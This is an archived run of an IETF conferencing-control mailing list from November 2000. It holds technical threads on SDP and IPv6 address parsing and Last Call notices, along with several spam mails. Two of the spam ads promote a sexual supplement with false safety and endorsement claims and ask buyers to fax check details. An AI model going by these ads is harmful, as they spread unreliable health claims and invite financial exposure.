X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Thus spake "Tulpule, Naren" <naren@trillium.com>
> Hi,
>   I have a very simple problem, regarding the IPv6 address format.
Please
> let me know if I should redirect it to some other list. In SDP, you
can have
> IPv4, IPv6 and FQDN (fully qualified domain name) formats coexisiting
and
> would like to parse them differently so as to take different actions
(eg
> invoking DNS).
>   How do you parse "ABC" ? IPv6 ABNF is so braindead that this is a
valid
> IPv6 address, while the intention in most likelihood is to name a
local
> host. Of course you can choose arbitrarily to make this either IPv6
address
> or FQDN, yet with a simple change to IPv6 format (e.g a leading colon)
this
> problem can be avoided.


While a literal reading of the IPv6 ABNF is that an address might not
contain at least one colon, there is no logical meaning to such an
address.

According to tests on my Linux system, gethostbyname("abcd") performs a
host lookup, whereas gethostbyname("abcd::") simply copies the address
as a literal in the same way gethostbyname("1.2.3.4") does.  This
behavior seems logical, and is probably the most correct answer.

S

     |          |         Stephen Sprunk, K5SSS, CCIE #3723
    :|:        :|:        Network Design Consultant, GSOLE
   :|||:      :|||:       New office: RCDN2 in Richardson, TX
.:|||||||:..:|||||||:.    Email: ssprunk@cisco.com



From confctrl-owner  Fri Nov  3 20:55:00 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA16186
	for confctrl-outgoing; Fri, 3 Nov 2000 20:55:00 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA16181
	for <confctrl@zephyr.isi.edu>; Fri, 3 Nov 2000 20:54:58 -0800 (PST)
Received: from inforack.cdac.org.sg ([203.127.153.65])
	by gamma.isi.edu (8.9.3/8.9.3) with SMTP id UAA14888
	for <confctrl@isi.edu>; Fri, 3 Nov 2000 20:54:29 -0800 (PST)
From: hv@of-hachetal.de
Received: from [63.30.194.146] by inforack.cdac.org.sg (NTMail 3.03.0014/1f.aaac) with ESMTP id qa390926 for <confctrl@isi.edu>; Sat, 4 Nov 2000 13:02:33 +0800
To: hv@of-hachetal.de
Subject: At last, Herbal V, the all natural alternative to V----A!
Date: Sat, 4 Nov 2000 13:02:31 +0800
Message-Id: <05023192921680@cdac.org.sg>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Herbal V: An Incredible All-Natural Healthy Alternative 


  Herbal V is the All Natural Approach to Male Virility,
  Vitality and Pleasure.



Available N o w ! 


Welcome to the New Sexual Revolution.

It's the all natural male potency and pleasure pill that men 
everywhere are buzzing about. Herbal V is safe, natural and
specifically formulated to help support male sexual function
and pleasure. You just take two easy-to-swallow tablets
one hour before sex. And there's more great news - you can
get Herbal V for less than $1 a pill.

Amazing word of mouth praise on Herbal V has been spreading 
like wildfire-already over 1,500,000 men  have chosen
Herbal V. Since it is 100% natural you will never have
to worry about safety. Try doctor-recommended Herbal V
today and have the greatest night of your life!


Herbal V... Bringing Back the Magic!


1,585,000 men can't be wrong. To date over 1 million men 
have tried the super supplement Herbal V.
Here is why: 

No Doctor Visit Required 
Available Over the Counter 
Not a Drug 
100% Natural 
Safe, No Worries 
Highest Quality Pharmaceutical-Grade Pure Nutriceuticals 
Guaranteed Potency & Purity 

Be a Real Man Again!

Questions and Answers

What is Herbal V?

Herbal V is a proprietary blend that was specifically
developed as a safe alternative for men who prefer
an all-natural approach to address impotence and boost
sexual performance. This amazing formula first became
popular with Hollywood insiders and the wealthy elite.
They were maximizing their sex lives, long before it 
was available to the general public. 

How does Herbal V work?

Developed by a team whose goal was to create the perfect 
all-natural aphrodisiac. Herbal V is the result of that
remarkable effort. The Herbal V formula contains a precise
blend of cutting edge pro-sexual nutrients from around
the world that provide nutritional support, making it
possible for a man to have a pleasurable sexual experience. 

What can Herbal V do for me?

Herbal V helps support male sexual function and 
pleasure in a safe and natural manner. Simply put, 
it can make your sex life incredible. 

Is Herbal V Safe?

One of the great things about Herbal V is that it is
not a drug. It is an incredible herbal dietary supplement
that provides nutritional support for male sexual function
and pleasure. One of the most comforting features of
Herbal V is that you never have to worry about safety. 

Herbal V: Safe - Natural - Exciting

Many have speculated that because Herbal V is so
popular with men, it must contain prescription drugs
or chemical components. Herbal V does not contain any 
elements or traces of any prescription drug. Herbal V 
is made using the world's most technologically advanced
state-of-the-art cold processing equipment to ensure
maximum purity. Herbal V has been independently analyzed
by the nation's premier testing facility to ensure purity,
quality and to end the rumors that, because it is so
popular, it must somehow be chemical. It is not.
Herbal V is natural - just as it says on the label.
Herbal V is simply fantastic! 

Herbal V: Ingredients

Yohimbe, saw palmetto, avena sativa, androstenedione,
guarana, taurine, siberian ginseng, tribulus terrestris. 
Tribulus Terrestis is certified to enhanced testosterone
levels by increasing Luteinzing hormone (LH) levels. 
Androstenedione which is a precursor to testosterone
unlocks bound testosterone and makes it biologically
active again quickly. This means a dramatic surge in 
desire. Avena Sativa Stimulates the neurotransmitter 
pleasure centers to maximum capacity. This greatly
intensifies pleasure.

Just listen to what Herbal V has done for the sex lives
of people like you!

“On a scale of 1 to 10, it's a 15. Electrifying. It's like 
a wonder pill!” 
— Justin Q B., New Haven, Texas

“I haven't had sexual relations in 11 years. Then with 
Herbal V it was... wow! It works again!” 
— Sid R., Lakeland, Florida

“I had sex four times in one night. It made me feel
like a 19-year-old again.” 
— Chip S, Beech Mountain, North Carolina

“Herbal V has turned my husband into a Sexual Superman! 
I like the fact that it's all natural and has no
side effects. It's bringing back the good old days.” 
— Jennifer B, Beverly Hills, California 

The above testimonials are from product literature, 
and we have not independently verified them.
However, the following testimonial is from a "senior"
gentleman who has purchased his second bottle of
Herbal V. When we heard his words with our own ears,
we asked his permission to print them here. 

 “Man! I'm wild as I can be! I feel like I'm 25 years old again! 
I'm not believing this!” 
                          — Mr. Murphy, age 64, Lampart, IL.



Risk Free: Double Your Money Back Guarantee

If Herbal V does not give the desired results as stated
above, simply return the unused portion for a
double-your money back refund. No questions asked ! 

Order Now: Safe, Fast, Secure, Private

Herbal V with its DOUBLE YOUR MONEY BACK GUARANTEE is
available only through this special promotional offer.
Herbal V arrives in plain packaging for your privacy.
Any and all information is kept strictly confidential.

Payment Methods

You may FAX or Postal Mail Checks, MasterCard, Visa,
& American Express.payments. Money Orders
are accepted only by Postal Mail. 


Each bottle of Herbal V contains 30 tablets, approximately
a 1 month supply.


Step 1: Place a check by your desired quanity.


______ 1 Bottle of Herbal V  $28


______ 2 Bottles of Herbal V $48


______ 3 Bottles of Herbal V $59


Please add $6 shipping and handling for any size order. 
[ Total cost including shipping & handling, 
1 bottle=$34, 2 bottles=$54, 3 bottles=$65 ]

International Orders
Please add $16 shipping and handling for any size order.
[ Total cost including shipping & handling,
1 bottle=$44, 2 bottles=$64, 3 bottles=$75 ]
We cannot accept foreign checks.
International money orders or credit cards only.

Step 2: Place a check by your desired payment method 
and complete fields if necessary.


_____Check or CHECK-BY-FAX [details below]


_____Money Order 


_____American Express 
Account Number__________________ Exp____/____

_____Visa
Account Number__________________ Exp____/____

_____MasterCard
Account Number__________________ Exp____/____


Please make your check or money order payable to
"Lion Sciences National".
 

Step 3: Please complete and print the following fields clearly.


Name ___________________________________________________ 


Address _________________________________________________


City ____________________________________________________ 


State ___________________________________________________ 


Zip _____________________________________________________ 


E-mail __________________________________________________ 


Signature _________________________________________________
[ required for check and credit card orders]



             Toll Free FAX Order Line: 1-800-940-6590
If faxing in your order, please state whether you require
a fax, email, or no confirmation at all. 
Allow up to one day for confirmation, if requested.
FAX orders are processed immediately.

  Or, print & mail to: LSN   
                       3502 N. Powerline Rd. #525 
                       Pompano Beach, FL 33069                


        ______________________________________________________


*CHECK BY FAX ORDERS: Complete the check as normal. Tape
the check in the area below. Below the check, clearly write
the check number, all numbers at the bottom of the check,
& your name. Tape the check below and fax the check to the
toll free FAX number above. Void the check. Our merchant
will electronically debit your account for the amount of 
the check; your reference number for this transaction will
be your check number. Nothing could be safer & easier !

                          TAPE CHECK BELOW















              _____________________________________________________________

This is a one time mailing: Removal is automatic and no further 
contact is necessary. Please Note: Herbal V is not intended to
diagnose, treat, cure or prevent any disease. As individuals differ,
so will results. Herbal V helps provide herbal and nutritional support
for male sexual performance. The FDA has not evaluated these 
statements. For details about our double your money back guarantee,
please write to the above address, attention consumer affairs 
department; enclose a self addressed stamped envelope for this and any 
requested contact information.
Thank You.

From confctrl-owner  Sun Nov  5 06:58:52 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA01683
	for confctrl-outgoing; Sun, 5 Nov 2000 06:58:52 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA01678
	for <confctrl@zephyr.isi.edu>; Sun, 5 Nov 2000 06:58:51 -0800 (PST)
Received: from relais-mx.nordnet.fr (relais-mx.nordnet.fr [194.206.126.114])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA24769
	for <confctrl@isi.edu>; Sun, 5 Nov 2000 06:58:49 -0800 (PST)
From: v@bsvbb.de
Received: from srv_adelia.bilsderoo.fr (bilsderoo-nat.nordnet.fr [194.206.126.90])
	by relais-mx.nordnet.fr (8.9.3/8.9.3) with ESMTP id PAA32740;
	Sun, 5 Nov 2000 15:58:30 +0100
Date: Sun, 5 Nov 2000 15:58:30 +0100
Message-Id: <200011051458.PAA32740@relais-mx.nordnet.fr>
Received: by tftp.router.bilsderoo.fr with Internet Mail Service (5.5.2448.0)
	id <V8KVNJR9>; Sun, 5 Nov 2000 15:49:54 +0100
Received: from h809 (1Cust182.tnt3.mia5.da.uu.net [63.30.200.182]) by srv_adelia.bilsderoo.fr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id V8KVNJR7; Sun, 5 Nov 2000 15:49:43 +0100
To: v@bsvbb.de
Subject: At last, Herbal V, the all Natural Alternative!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Herbal V: An Incredible All-Natural Healthy Alternative To V----a


  Herbal V is the All Natural Approach to Male Virility,
  Vitality and Pleasure.



Available N o w ! 


Welcome to the New Sexual Revolution.

It's the all natural male potency and pleasure pill that men 
everywhere are buzzing about. Herbal V is safe, natural and
specifically formulated to help support male sexual function
and pleasure. You just take two easy-to-swallow tablets
one hour before sex. And there's more great news - you can
get Herbal V for less than $1 a pill.

Amazing word of mouth praise on Herbal V has been spreading 
like wildfire-already over 1,500,000 men  have chosen
Herbal V. Since it is 100% natural you will never have
to worry about safety. Try doctor-recommended Herbal V
today and have the greatest night of your life!


Herbal V... Bringing Back the Magic!


1,585,000 men can't be wrong. To date over 1 million men 
have tried the super supplement Herbal V.
Here is why: 

No Doctor Visit Required 
Available Over the Counter 
Not a Drug 
100% Natural 
Safe, No Worries 
Highest Quality Pharmaceutical-Grade Pure Nutriceuticals 
Guaranteed Potency & Purity 

Be a Real Man Again!

Questions and Answers

What is Herbal V?

Herbal V is a proprietary blend that was specifically
developed as a safe alternative for men who prefer
an all-natural approach to address impotence and boost
sexual performance. This amazing formula first became
popular with Hollywood insiders and the wealthy elite.
They were maximizing their sex lives, long before it 
was available to the general public. 

How does Herbal V work?

Developed by a team whose goal was to create the perfect 
all-natural aphrodisiac. Herbal V is the result of that
remarkable effort. The Herbal V formula contains a precise
blend of cutting edge pro-sexual nutrients from around
the world that provide nutritional support, making it
possible for a man to have a pleasurable sexual experience. 

What can Herbal V do for me?

Herbal V helps support male sexual function and 
pleasure in a safe and natural manner. Simply put, 
it can make your sex life incredible. 

Is Herbal V Safe?

One of the great things about Herbal V is that it is
not a drug. It is an incredible herbal dietary supplement
that provides nutritional support for male sexual function
and pleasure. One of the most comforting features of
Herbal V is that you never have to worry about safety. 

Herbal V: Safe - Natural - Exciting

Many have speculated that because Herbal V is so
popular with men, it must contain prescription drugs
or chemical components. Herbal V does not contain any 
elements or traces of any prescription drug. Herbal V 
is made using the world's most technologically advanced
state-of-the-art cold processing equipment to ensure
maximum purity. Herbal V has been independently analyzed
by the nation's premier testing facility to ensure purity,
quality and to end the rumors that, because it is so
popular, it must somehow be chemical. It is not.
Herbal V is natural - just as it says on the label.
Herbal V is simply fantastic! 

Herbal V: Ingredients

Yohimbe, saw palmetto, avena sativa, androstenedione,
guarana, taurine, siberian ginseng, tribulus terrestris. 
Tribulus Terrestis is certified to enhanced testosterone
levels by increasing Luteinzing hormone (LH) levels. 
Androstenedione which is a precursor to testosterone
unlocks bound testosterone and makes it biologically
active again quickly. This means a dramatic surge in 
desire. Avena Sativa Stimulates the neurotransmitter 
pleasure centers to maximum capacity. This greatly
intensifies pleasure.

Just listen to what Herbal V has done for the sex lives
of people like you!

"On a scale of 1 to 10, it's a 15. Electrifying. It's like 
a wonder pill!" 
- Justin Q B., New Haven, Texas

"I haven't had sexual relations in 11 years. Then with 
Herbal V it was... wow! It works again!" 
- Sid R., Lakeland, Florida

"I had sex four times in one night. It made me feel
like a 19-year-old again." 
- Chip S, Beech Mountain, North Carolina

"Herbal V has turned my husband into a Sexual Superman! 
I like the fact that it's all natural and has no
side effects. It's bringing back the good old days." 
- Jennifer B, Beverly Hills, California 

The above testimonials are from product literature, 
and we have not independently verified them.
However, the following testimonial is from a "senior"
gentleman who has purchased his second bottle of
Herbal V. When we heard his words with our own ears,
we asked his permission to print them here. 

 "Man! I'm wild as I can be! I feel like I'm 25 years old again! 
I'm not believing this!" 
                          - Mr. Murphy, age 64, Lampart, IL.



Risk Free: Double Your Money Back Guarantee

If Herbal V does not give the desired results as stated
above, simply return the unused portion for a
double-your money back refund. No questions asked ! 

Order Now: Safe, Fast, Secure, Private

Herbal V with its DOUBLE YOUR MONEY BACK GUARANTEE is
available only through this special promotional offer.
Herbal V arrives in plain packaging for your privacy.
Any and all information is kept strictly confidential.

Payment Methods

You may FAX or Postal Mail Checks, MasterCard, Visa,
& American Express.payments. Money Orders
are accepted only by Postal Mail. 


Each bottle of Herbal V contains 30 tablets, approximately
a 1 month supply.


Step 1: Place a check by your desired quanity.


______ 1 Bottle of Herbal V  $24


______ 2 Bottles of Herbal V $44


______ 3 Bottles of Herbal V $59


Please add $6 shipping and handling for any size order. 
[ Total cost including shipping & handling, 
1 bottle=$30, 2 bottles=$50, 3 bottles=$65 ]

International Orders
Please add $18 shipping and handling for any size order.
[ Total cost including shipping & handling,
1 bottle=$42, 2 bottles=$62, 3 bottles=$77 ]
We cannot accept foreign checks.
International money orders or credit cards only.

Step 2: Place a check by your desired payment method 
and complete fields if necessary.


_____Check or CHECK-BY-FAX [details below]


_____Money Order 


_____American Express 
Account Number__________________ Exp____/____

_____Visa
Account Number__________________ Exp____/____

_____MasterCard
Account Number__________________ Exp____/____


Please make your check or money order payable to
"Lion Sciences National".
 

Step 3: Please complete and print the following fields clearly.


Name ___________________________________________________ 


Address _________________________________________________


City ____________________________________________________ 


State ___________________________________________________ 


Zip _____________________________________________________ 


E-mail __________________________________________________ 


Signature _________________________________________________
[ required for check and credit card orders]



             Toll Free FAX Order Line: 1-800-940-6590
If faxing in your order, please state whether you require
a fax, email, or no confirmation at all. 
Allow up to one day for confirmation, if requested.
FAX orders are processed immediately.

  Or, print & mail to: LSN   
                       3502 N. Powerline Rd. #525 
                       Pompano Beach, FL 33069                


        ______________________________________________________


*CHECK BY FAX ORDERS: Complete the check as normal. Tape
the check in the area below. Below the check, clearly write
the check number, all numbers at the bottom of the check,
& your name. Tape the check below and fax the check to the
toll free FAX number above. Void the check. Our merchant
will electronically debit your account for the amount of 
the check; your reference number for this transaction will
be your check number. Nothing could be safer & easier !

                          TAPE CHECK BELOW















              _____________________________________________________________

This is a one time mailing: Removal is automatic and no further 
contact is necessary. Please Note: Herbal V is not intended to
diagnose, treat, cure or prevent any disease. As individuals differ,
so will results. Herbal V helps provide herbal and nutritional support
for male sexual performance. The FDA has not evaluated these 
statements. For details about our double your money back guarantee,
please write to the above address, attention consumer affairs 
department; enclose a self addressed stamped envelope for this and any 
requested contact information.
Thank You.

From confctrl-owner  Mon Nov 13 12:20:58 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id MAA12058
	for confctrl-outgoing; Mon, 13 Nov 2000 12:20:58 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA12053
	for <confctrl@zephyr.isi.edu>; Mon, 13 Nov 2000 12:20:57 -0800 (PST)
Received: from sj-msg-core-crit.cisco.com (sj-msg-core-crit.cisco.com [171.71.163.10])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id MAA23579
	for <confctrl@isi.edu>; Mon, 13 Nov 2000 12:20:42 -0800 (PST)
Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9])
	by sj-msg-core-crit.cisco.com (8.9.3/8.9.1) with ESMTP id MAA06506
	for <confctrl@isi.edu>; Mon, 13 Nov 2000 12:19:59 -0800 (PST)
Received: from cisco.com (rtp-dial-2-98.cisco.com [10.83.96.98])
	by mailman.cisco.com (8.9.3/8.9.1) with ESMTP id MAA02091
	for <confctrl@isi.edu>; Mon, 13 Nov 2000 12:19:58 -0800 (PST)
Message-ID: <3A104D70.39CF31CA@cisco.com>
Date: Mon, 13 Nov 2000 15:22:08 -0500
From: Flemming Andreasen <fandreas@cisco.com>
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Extensibility of "addr" in SDP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Greetings

According to the SDP grammar, both "nettype" and "addrtype" are
extensible, however there is no such indication for "addr", which
doesn't quite add up. Can I assume that "addr" should be extensible as
well ?

Thanks

        Flemming

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Mon Nov 13 12:21:38 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA12147
	for confctrl-outgoing; Mon, 13 Nov 2000 12:21:38 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA12142
	for <confctrl@zephyr.isi.edu>; Mon, 13 Nov 2000 12:21:36 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (nmh.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id MAA23616;
	Mon, 13 Nov 2000 12:21:14 -0800 (PST)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id eADKLBU06971;
	Mon, 13 Nov 2000 21:21:11 +0100 (MET)
Message-Id: <200011132021.eADKLBU06971@nmh.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Mon, 13 Nov 2000 21:17:12 +0100
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: WG Last Call on ATM/SDP
Cc: csp@ISI.EDU, mankin@ISI.EDU, sob@harvard.edu
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

we would like to issue WG Last Call on 

    draft-ietf-mmusic-sdp-atm-02.txt

for Proposed Standard.

The Last Call is to expire in two weeks from now, on 27 November 2000.

If no major problems are found in the document, we will then send it
off to the IESG.

Cheers,
Colin & Joerg



From confctrl-owner  Mon Nov 13 12:24:50 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA12199
	for confctrl-outgoing; Mon, 13 Nov 2000 12:24:50 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA12194
	for <confctrl@zephyr.isi.edu>; Mon, 13 Nov 2000 12:24:49 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (nmh.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id MAA23824;
	Mon, 13 Nov 2000 12:23:55 -0800 (PST)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id eADKNrU07155;
	Mon, 13 Nov 2000 21:23:53 +0100 (MET)
Message-Id: <200011132023.eADKNrU07155@nmh.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Mon, 13 Nov 2000 21:22:36 +0100
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: WG Last Call on Internet Multimedia Conferencing Architecture
Cc: csp@ISI.EDU, mankin@ISI.EDU, sob@harvard.edu
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

we would like to issue WG Last Call on 

    draft-ietf-mmusic-confarch-03.txt

for Informational RFC.

The Last Call is to expire in two weeks from now, on 27 November 2000.

If no major problems are found in the document, we will then send it
off to the IESG.

Cheers,
Colin & Joerg




From confctrl-owner  Sun Nov 19 19:46:48 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA17631
	for confctrl-outgoing; Sun, 19 Nov 2000 19:46:48 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA17626
	for <confctrl@zephyr.isi.edu>; Sun, 19 Nov 2000 19:46:47 -0800 (PST)
Received: from femail3.sdc1.sfba.home.com (femail3.sdc1.sfba.home.com [24.0.95.83])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id TAA07736
	for <confctrl@isi.edu>; Sun, 19 Nov 2000 19:46:46 -0800 (PST)
Received: from localhost ([24.23.19.97]) by femail3.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20001120034527.YXFF16459.femail3.sdc1.sfba.home.com@localhost>;
          Sun, 19 Nov 2000 19:45:27 -0800
X-Sender: 1bcsc@home.com
From: "the stock shark.com" <1bcsc@home.com>
To: "ebay" <1bcsc@home.com>
Date: Sun, 19 Nov 2000 22:53:52 -0500
Subject: (THESTOCKSHARK.COM)
Reply-To: members@thestockshark.com
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
Message-Id: <20001120034527.YXFF16459.femail3.sdc1.sfba.home.com@localhost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

 If you are interested in undervalued stocks and investment opportunities, then 
you may want to register for their FREE weekly email Stock Pick alerts or just 
check out the site. Registration is absolutely FREE and without any obligation 
whatsoever.
http://www.thestockshark.com/


From confctrl-owner  Tue Nov 21 04:16:46 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA18941
	for confctrl-outgoing; Tue, 21 Nov 2000 04:16:46 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA18936
	for <confctrl@zephyr.isi.edu>; Tue, 21 Nov 2000 04:16:45 -0800 (PST)
Received: from accord-ntsrv3.accord.co.il ([199.203.164.5])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id EAA23474;
	Tue, 21 Nov 2000 04:16:41 -0800 (PST)
Received: by accord-ntsrv3.accord.co.il with Internet Mail Service (5.5.2448.0)
	id <WPXY9CFK>; Tue, 21 Nov 2000 14:16:01 +0200
Message-ID: <F1E2C32A0731D211A5E900805F6526BD7D1E42@accord-ntsrv3.accord.co.il>
From: Roni Even <Roni_e@accord.co.il>
To: "'Joerg Ott'" <jo@tzi.uni-bremen.de>, confctrl@ISI.EDU
Cc: csp@ISI.EDU, mankin@ISI.EDU, sob@harvard.edu
Subject: RE: WG Last Call on Internet Multimedia Conferencing Architecture
Date: Tue, 21 Nov 2000 14:16:01 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="windows-1252"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
I read the document and found it very interesting. I have a couple of
questions that maybe you can clarify for me. My interest in in a multipoint
cases.

1. H.332 is scaling H.323 conference size by having participants who are
listener only. I understand that light-weight session are for participants
who can send and receive video. It is not clear to me how this architecture
scales. I did not see any central control that will authorize transmitting
on the multicast channel, does that mean that anyone can send its video and
audio streams at all time. 
2. The conference communication mode according to my understanding is
layered video and some audio, how does a participant know which codec he has
to use to join the conference.
3. Who is mixing the audio or does each participant need to mix the incoming
audio streams, does he choose one, how?
4. What about video mixing.
5. In video conferencing the codec may lose synchronization with the video
stream and would like to ask for fast update, will it be in the rtcp stream,
how many such messages do you expect in the case of many to many.
6. There are new H.263 annexes that enable better quality video by using
back channel mechanisms, those are done in H.245. How are those going to be
handled without a central control.

Thanks
Roni Even

********************************
Roni Even
VP Product Planning
Accord Networks
Phone: +972-3-9251200
Fax: +972-3-9211571
email: roni_e@accord.co.il


-----Original Message-----
From: Joerg Ott [mailto:jo@tzi.uni-bremen.de]
Sent: Monday, November 13, 2000 10:23 PM
To: confctrl@ISI.EDU
Cc: csp@ISI.EDU; mankin@ISI.EDU; sob@harvard.edu
Subject: WG Last Call on Internet Multimedia Conferencing Architecture


Folks,

we would like to issue WG Last Call on 

    draft-ietf-mmusic-confarch-03.txt

for Informational RFC.

The Last Call is to expire in two weeks from now, on 27 November 2000.

If no major problems are found in the document, we will then send it
off to the IESG.

Cheers,
Colin & Joerg




From confctrl-owner  Wed Nov 22 02:50:58 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA22168
	for confctrl-outgoing; Wed, 22 Nov 2000 02:50:58 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA22162
	for <confctrl@zephyr.isi.edu>; Wed, 22 Nov 2000 02:50:57 -0800 (PST)
Received: from smartt.COM (ktk6.smartt.com [209.52.5.253])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id CAA25927
	for <confctrl@isi.edu>; Wed, 22 Nov 2000 02:50:56 -0800 (PST)
From: fibonaci@smartt.com
Received: from smartt.com (burn-ma01011.smartt.com [209.52.3.11])
	by smartt.COM (8.11.1/8.11.1) with SMTP id eAMAxAp15511
	for <confctrl@isi.edu>; Wed, 22 Nov 2000 02:59:10 -0800 (PST)
Date: Wed, 22 Nov 2000 02:59:10 -0800 (PST)
Message-Id: <200011221059.eAMAxAp15511@smartt.COM>
Reply-To: fibonaci@smartt.com
To: confctrl@ISI.EDU
Subject: Attn: Corporate Training Coordinator - Windows 2000 Courseware Content 
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


As you restructure your IT training program and consider how you might
imagine the best way of providing content for your courses, you'll
find yourself appreciating course content that is already prepared
and ready for immediate use in your curriculum.  

We design and develop books and curriculum that support Systems Engineering technologies and certifications including:
· A+
· Network+
· i-Net+
· MCSE
· MCDBA 
(Full course descriptions are available)

Some of our books have been top 10 best sellers through Amazon.com.

You might also be interested in our adaptive and non-adaptive test engine slated to be available 3rd quarter, 2000.  The engine is designed for practice and study.  Test questions and answers are easily added, edited or deleted.  

We can help you with your high-tech training needs including books, books on CD, Instructor led classes and distance learning products.  We also create custom high-tech curriculum for companies. 

We are a one-stop solution for high-tech educational content, training and resources. We offer distance learning and instructor lead products for both individuals and groups and our education solutions meet typical corporate and learning center needs.  We are a Microsoft Solution Provider (MSP), Microsoft Certified Technical Education Center (CTEC) and a Computer Technology Industry Association Certified Training Center (CompTIA).  We partner with a major University, an international leader in adult-instructor-lead and distance learning, to offer graduate and undergraduate credit for many of our courses. 

Also, don't hesitate to inquire about our documentation and technical writing services.

Please feel free to contact me in the meantime.  I look forward to speaking with you further.

Casey Lea, Creative Director
or Domhnall Adams, CS
DCGNA, CS and Associates
780-998-4066



From confctrl-owner  Wed Nov 22 03:13:32 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA23857
	for confctrl-outgoing; Wed, 22 Nov 2000 03:13:32 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA23835
	for <confctrl@zephyr.isi.edu>; Wed, 22 Nov 2000 03:13:29 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id DAA01474
	for <confctrl@isi.edu>; Wed, 22 Nov 2000 03:13:27 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA21492;
	Wed, 22 Nov 2000 06:13:26 -0500 (EST)
Message-Id: <200011221113.GAA21492@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
